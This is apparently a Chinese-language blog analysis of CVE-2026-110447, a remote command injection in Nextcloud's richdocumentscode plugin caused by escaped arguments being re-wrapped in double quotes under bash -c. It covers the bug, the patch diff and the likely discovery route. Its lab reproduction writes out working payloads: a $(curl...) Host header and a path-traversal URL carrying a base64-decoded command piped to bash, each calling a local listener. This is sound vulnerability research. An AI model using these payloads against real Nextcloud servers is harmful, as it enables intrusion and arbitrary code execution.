CVE-2026-110447

CVE-2026-110447

漏洞卡片#

Nextcloud 是一个可以自己架设的私有云盘/协作平台(类似自建的 Google Drive)。它提供了一个应用市场(Nextcloud app)用于安装各种插件。其中有一个名为 richdocumentscode 的插件(也称为 Collabora Online - Built-in CODE Server),它内置了 CODE(Collabora Online Development Edition,即 Collabora Online 的开源免费版本)服务器,用于在线浏览、编辑 Word、Excel、PPT 这类文档。

26.4.303 版本(< 26.4.303)之前的 richdocumentscode,在 coolwsd(Collabora Online WebSocket Daemon,CODE 的主进程)未启动的时候,可触发远程代码执行。

Tip

有两个名字很像的插件,richdocuments 和 richdocumentscode,前者作为 CODE 的前端连接器存在,因此这两个插件通常经常使用,但后者并不是必须的,因为用户可以自建 CODE 服务器。由于本次漏洞针对 richdocumentscode 插件,因此自建 CODE 服务器的逃过一劫。

评分:9.2(CRITICAL)

向量:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

漏洞讲解#

环境配置#

richdocumentscode 是开源的,我下载了 26.4.302 版本到本地:

Bash
git clone https://github.com/CollaboraOnline/richdocumentscode.git -b 26.4.302

核心#

在项目根目录下有一个文件 proxy.php,其中的 startCoolwsd 函数:

PHP
function startCoolwsd()
{
    global $appImage;
    global $pidfile;
    global $lockfile;

    $remoteFontConfig = "";
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
    {
        $remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
        $remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
    }

    $IPv4only = "";
    [snip]
    $lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
    $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";

	[snip]
	
	exec($launchCmd, $output, $return);
	
    [snip]
}

escapeshellarg 函数会将传入的字符串的两边添加单引号,并对字符串中已有单引号进行转义,使该信息能安全地转发给 shell 函数(比如 exec、system 等)。在 Windows 上,该函数还会将百分号、感叹号(延迟变量替换)和双引号替换为空格,并在字符串两边添加双引号。此外,每段连续的反斜杠( \ )都会额外转义一个反斜杠。

这使得 shell 函数只会执行开发者预设的命令,并不会造成命令注入。

但是在这,开发者犯了一个错误,他将正确处理后的字符串用双引号包裹,并用 bash -c 去执行双引号中包裹的命令:

PHP
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";

exec($launchCmd, $output, $return);

Linux 会对双引号中的特殊符号进行处理:

Bash
$ whoami
zyf

$ echo "$(whoami)"
zyf

$ name=zyf
$ echo "$name"
zyf

单引号没有这个问题:

Bash
$ echo '$(whoami)'
$(whoami)

$ name=zyf
$ echo '$name'
$name

因此,攻击者可以利用这点,实现命令注入。一个简单的示例,我现在本地用 Python 开启一个简易的 Web Server(端口为 8080):

Bash
$ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

随后我运行:

Bash
$ bash -c "fooabcd$(curl http://127.0.0.1:8080)1234foo"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   443  100   443    0     0   150k      0 --:--:-- --:--:-- --:--:--  216k
bash: -c: 行 1: 未预期的记号 "newline" 附近有语法错误
bash: -c: 行 1: `fooabcd<!DOCTYPE HTML>'

虽然报错,但是其中的命令已经执行,在 Web Server 的日志中已经能看到访问日志:

Bash
$ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
127.0.0.1 - - [30/Oct/2026 11:06:15] "GET / HTTP/1.1" 200 -

上面只是示例,但在插件中,用户不能这么随意地往双引号中填入数据。回到 proxy.php,用户可控的参数主要有两个:

  • $remoteFontConfig
  • $lok_allow
PHP
$remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
$remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;

$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);

$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
  • $_SERVER['HTTP_HOST'] 表示取 HTTP 中 Host 头的值
  • $_SERVER['REQUEST_URI'] 表示取请求的资源路径

简单的测试代码:

PHP
<?php
  print 'HTTP_HOST → '.$_SERVER['HTTP_HOST']."</br>";
  print 'REQUEST_URI → '.$_SERVER['REQUEST_URI']."</br>";
?>

文件命名为 index.php,并启动服务器:

Bash
$ php -S 127.0.0.1:8080
[Fri Oct 30 11:26:48 2026] PHP 8.4.23 Development Server (http://127.0.0.1:8080) started

访问网页后得到结果:

而且,我还可以通过 Burp Suite 修改对应的值来观察变化:

由于 richdocumentscode 插件并没有配置路由,也没有应用什么控制器,因此对 proxy.php 的访问是直接通过文件路径来的。而在 nextcloud 中的配置文件中会配置插件的根目录信息:

PHP
'apps_paths' => [
	[
		'path' => '/var/www/nextcloud/apps',
		'url' => '/apps',
		'writable' => true,
	],
],

默认是在 apps 这个目录中,因此访问路径为:

Text
<域名>/apps/richdocumentscode/proxy.php

而且,proxy.php 要求你带请求参数进行访问,否则会报错:

PHP
if (startsWith($request, 'status')) {
    $request = '';
    $statusOnly = true;
} else if (startsWith($request, 'req=')) {
    $request = substr($request, strlen('req='));
    if (substr($request, 0, 1) !== '/')
        errorExit("First ?req= param should be an absolute path: '" . $request . "'");
} else {
    errorExit("The param should be 'status' or 'req=...', but is: '" . $request . "'");
}

因此,两种有效的访问:

Text
<域名>/apps/richdocumentscode/proxy.php?req=……
<域名>/apps/richdocumentscode/proxy.php?status

HOST#

第一种实现 RCE 的路径是 Host。

为了模仿路径,我创建了对应的目录以及 proxy.php:

Bash
$ mkdir -p apps/richdocumentscode/

$ vim apps/richdocumentscode/proxy.php

proxy.php 我仅保留了关键逻辑:

PHP
<?php
// 无关参数,我将其设置为空
$appImage = '';
$IPv4only = '';
$pidfile = '';

$remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
$remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;

$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);

$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";

exec($launchCmd);
?>

开启 Server:

Bash
$ sudo php -S 127.0.0.1:80
[Fri Oct 30 12:00:47 2026] PHP 8.4.23 Development Server (http://127.0.0.1:80) started

并同样准备一个用 Python 开启的 Server 作为命令是否成功执行的依据:

Bash
$ python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...

用 curl 访问(当然也可以用 Burp Suite 改 Host):

Bash
$ curl http://127.0.0.1/apps/richdocumentscode/proxy.php -H 'Host: $(curl${IFS}http://127.0.0.1:9999)'
Tip

${IFS} 在 Linux 中可以充当空格。

见日志:

Bash
$ python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
127.0.0.1 - - [30/Oct/2026 12:05:30] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [30/Oct/2026 12:05:30] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [30/Oct/2026 12:05:30] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [30/Oct/2026 12:05:30] "GET / HTTP/1.1" 200 -

命令执行成功。

这里有个细节点,构造:

Text
-H 'Host: $(curl${IFS}http://127.0.0.1:9999)'

的时候需要用单引号,避免触发命令执行的是 Linux 本身而不是 proxy.php。

当然,这里能利用成功有一个前提,对于不正确或者未知的 Host 头,前端服务器能正常将其路由到默认的虚拟主机上,否则可能直接访问失败。

REQUEST_PATH#

修改请求路径是实现 RCE 的另一个方式。

环境配置保持与上一小节一致,这里不再赘述。

注入命令的位置在路径上,但是错误的路径会访问不到 proxy.php:

Bash
$ curl http://127.0.0.1/apps/x/richdocumentscode/proxy.php

日志:

Text
[Fri Oct 30 14:13:28 2026] 127.0.0.1:51634 [404]: GET /apps/x/richdocumentscode/proxy.php - No such file or directory

为了确保能正常访问到,这里需要用到路径遍历的技巧,即:

Bash
$ curl 'http://127.0.0.1/apps/x/../richdocumentscode/proxy.php' --path-as-is

日志:

Bash
[Fri Oct 30 14:45:05 2026] 127.0.0.1:58414 [200]: GET /apps/x/../richdocumentscode/proxy.php

当然,这也就相应地变成了能利用的前提条件了,即服务器需要正确处理点段(../)而不是将其丢弃或者直接报错。

我们只需要将注入的命令 $() 替换 x 所在位置即可。

由于我想注入的命令是:

Bash
curl http://127.0.0.1:9999

无论是 / 还是 http,出现在 URl 中都是非常棘手的问题,为了避免这些麻烦,我打算采用:

  1. base64 编码命令
  2. 让目标服务器进行 base64 解码,并执行解码后的内容
Text
curl http://127.0.0.1:9999
↓
Y3VybCBodHRwOi8vMTI3LjAuMC4xOjk5OTk=

让服务器执行的命令为:

Text
echo Y3VybCBodHRwOi8vMTI3LjAuMC4xOjk5OTk= | base64 -d | bash

这次使用 Burp Suite 来实现利用(用 curl 发这种带特殊符号的 URI 会遇到很多的问题)。

截获访问 apps/richdocumentscode/proxy.php 的流量,并将请求改为:

HTTP
GET /apps/x$(echo${IFS}Y3VybCBodHRwOi8vMTI3LjAuMC4xOjk5OTk=|base64${IFS}-d|bash)/../richdocumentscode/proxy.php HTTP/1.1
Host: 127.0.0.1
[snip]

发送得到 200 响应:

HTTP
HTTP/1.1 200 OK
Host: 127.0.0.1
Date: Fri, 30 Oct 2026 06:42:13 GMT
Connection: close
X-Powered-By: PHP/8.4.23
Content-type: text/html; charset=UTF-8

Python 开启的服务器也收到了请求,说明命令执行成功:

Bash
$ python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
127.0.0.1 - - [30/Oct/2026 14:36:35] "GET / HTTP/1.1" 200 -

注意点#

在漏洞卡片章节我提到过,该漏洞仅在 coolwsd 未启动的时候能触发,这是因为 startCoolwsd 函数的调用和一个 isCoolwsdRuning() 的判断绑定在一起,共三处:

PHP
else if (!isCoolwsdRunning()) {
	startCoolwsd();
	[snip]
}
PHP
if (!isCoolwsdRunning())
	startCoolwsd();
PHP
else if (!isCoolwsdRunning())
	startCoolwsd();

这意味着攻击者利用漏洞的时间窗口仅能在:

  • 容器刚刚重启
  • 正在升级
  • 服务器已崩溃
  • (类似场景)

还有一点值得注意,$_SERVER[] 接收数据的时候,并不会像 $_GET[]、$_POST[] 那样对信息进行一遍 URL 解码,因此传输 Payload 的时候,无论是浏览器帮你做的 URL 编码还是你主动为了避免特殊字符做的 URL 编码,都可能导致命令执行失败。但这是不考虑有前端或者其他中间件的情况,这里写出来只是为了提醒有这个潜在的坑点。

Diff#

Diff
- $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";

+ $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
+ $launchCmd = "bash -c " . escapeshellarg($innerCmd);

对 bash -c 执行的内容做了 escapeshellarg 处理,处理后的信息:

  • 无法实现命令注入(逃逸不了外面的引号)
  • 用单引号包裹,解决了双引号会处理特殊字符的问题

推测研究员的发现经过#

根据 Collabora 官方 GitHub Security Advisory,该漏洞的 Reporter 是 wwwshellcodeit。

但是,根据目前公开的信息,该漏洞可能的发现经过是:

  1. 管理员日志发现有人通过 richdocumentscode 成功入侵了系统
  2. 管理员提交了 Issue
  3. 官方针对 Issue 修补漏洞

因此,有三条我觉得可能的发现路径:

  • 研究者根据 Issue 比官方更早地发现了漏洞的具体位置,并向官方进行了报告
  • 研究者从某渠道打听到了在野利用的消息,针对性地找到了漏洞的根因,并向官方进行报告
  • 研究者自己在使用该插件,然后也发现了入侵日志,随后找到了根因并汇报给官方

这个插件的源码量不大,而且基本就集中在 proxy.php 这个文件上,结合背景:

  • AI 审计能力强
  • 代码量不大
  • 有一定的目标导向性(结合前面的分析)

这一发现过程大概率由 AI 主导。

抛开 AI 不谈,如果以传统人工挖洞的视角来看,我认为可能的发现过程:

首先,选定目标为该插件,可能的原因:

  • 开源
  • 研究员可能对该插件生态有一定的了解
  • 所用语言(PHP)研究者可能比较熟悉
  • 大致了解后,发现代码量不大

接着,通过 rg 搜 sink(当然研究者可能有自己顺手的自动化工具):

Bash
rg 'exec\('
CHANGELOG.md
496:- fix startup problems when exec() is disabled (#100)

proxy.php
93:    exec($launchCmd, $output, $return);
121:        exec($launchCmd, $output, $return);
167:    if (in_array('exec', $disabledFunctions) || @exec('echo EXEC') !== "EXEC")
170:    exec("LD_TRACE_LOADED_OBJECTS=1 $appImage", $output, $return);
174:    exec('( /sbin/ldconfig -p || scanelf -l ) | grep fontconfig > /dev/null 2>&1', $output, $return);

发现 proxy.php 中有大量的命令执行函数,开始审计。

通过 sink 反向追踪 source,就发现了存在的问题。

参考文章#

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做